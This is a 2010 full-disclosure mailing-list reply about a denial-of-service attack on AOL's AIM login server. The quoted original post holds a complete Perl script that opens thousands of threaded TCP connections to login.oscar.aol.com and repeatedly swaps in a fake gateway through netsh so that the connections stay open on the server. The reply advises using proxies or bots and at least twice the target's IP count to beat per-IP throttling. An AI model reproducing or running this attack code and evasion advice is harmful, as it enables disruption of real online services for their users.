full-disclosure - Re: DOS AOL AIM via perl

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Message-ID: <AANLkTinN4L=kpbuJcMtDO8arnFyufzpyOe7eoDg6vK9H@mail.gmail.com>
Date: Tue, 14 Dec 2010 13:14:39 -0500
From: T Biehn <tbiehn@...il.com>
To: Cyber Flash <cyber_flash@...mail.com>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: DOS AOL AIM via perl

You need at minimum 2x the number of IPs your target has to take it down.
Via proxies, bots, whatever.

Targets can implement per IP throttling/blacklisting. Which means you need
more than IPs than that.

IIRC Aol throttles connection attempts.

-Travis

On Tue, Dec 14, 2010 at 10:13 AM, Cyber Flash <cyber_flash@...mail.com>wrote:

>   Create many ESTABLISHED connections (60,000) to login.oscar.aol.comserver
> and then temporarily disable the local client gateway, close the sockets
> (the RST packets aren’t sent to AOL), reopen the gateway and repeat this
> process.
>
>  Anyone have ideas on the pros/cons of using this technique?
>
> # Client -> Server [SYN]
> # Server -> Client [SYN, ACK]
> # Client -> Server [ACK]
> # Server -> Client 10 bytes (conn_ack)
> # Client -> Server 10 bytes (conn_ack)
> # Server -> Client [ACK]
>
> use IO::Socket;
> use Thread;
> use Win32::OLE qw(in);
>
> # --- SCRIPT CONFIGURATION ---
> my $host="login.oscar.aol.com";
> my $port=80;
>
> # --- END CONFIGURATION ---
> my $ip="";
> my $gateway="";
> my $fake_gateway="1.1.1.1";
> my $mask="";
> my $adpater="";
> my $alive=0;
>
>
> $object=Win32::OLE->GetObject('winmgmts:{impersonationLevel=impersonate}!//.');
> foreach my
> $nic(in$object->InstancesOf('Win32_NetworkAdapterConfiguration')){
>    next unless $nic->{IPEnabled};
>    $ip=@...ic->{IPAddress}}[0];
>    $gateway=@...ic->{DefaultIPGateway}}[0];
>    $mask=@...ic->{IPSubnet}}[0];
>    print "IPv4 Address: $ip\nDefault Gateway: $gateway\nSubnet Mask:
> $mask\n";
>    last;
> }
>
> $objWMI = Win32::OLE->GetObject("winmgmts://./root/cimv2");
> $colNAs = $objWMI->InstancesOf('Win32_NetworkAdapter');
> foreach my $objNA (in $colNAs){
>    next unless $objNA->{NetEnabled};
>    $adapter=$objNA->NetConnectionID;
>    print "Ethernet Adapter: $adapter\n";
>    last;
> }
>
> while (1) {
>    for ($n=0;$n<=3000;$n++){
>       $thr=new Thread\&connect;
>       $thr->detach;
>       $t++;
>       print "Connection: $t\n";
>       select(undef, undef, undef, 0.25);
>    }
>    print "\nDisabling Gateway...\n";
>    system("netsh interface ip set address name=\"$adapter\" static $ip
> $mask $fake_gateway 1");
>    $alive=1;
>    sleep 3;
>    print "\nEnabling Gateway....\n";
>    system("netsh interface ip set address name=\"$adapter\" static $ip
> $mask $gateway 1");
>    $alive=0;
> }
>
> sub connect{
>   my $socket =
> IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort=>$port);
>   $socket->recv($data,10);
>   $socket->send($data);
>   while ($alive==0) {sleep 1;}
> }
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/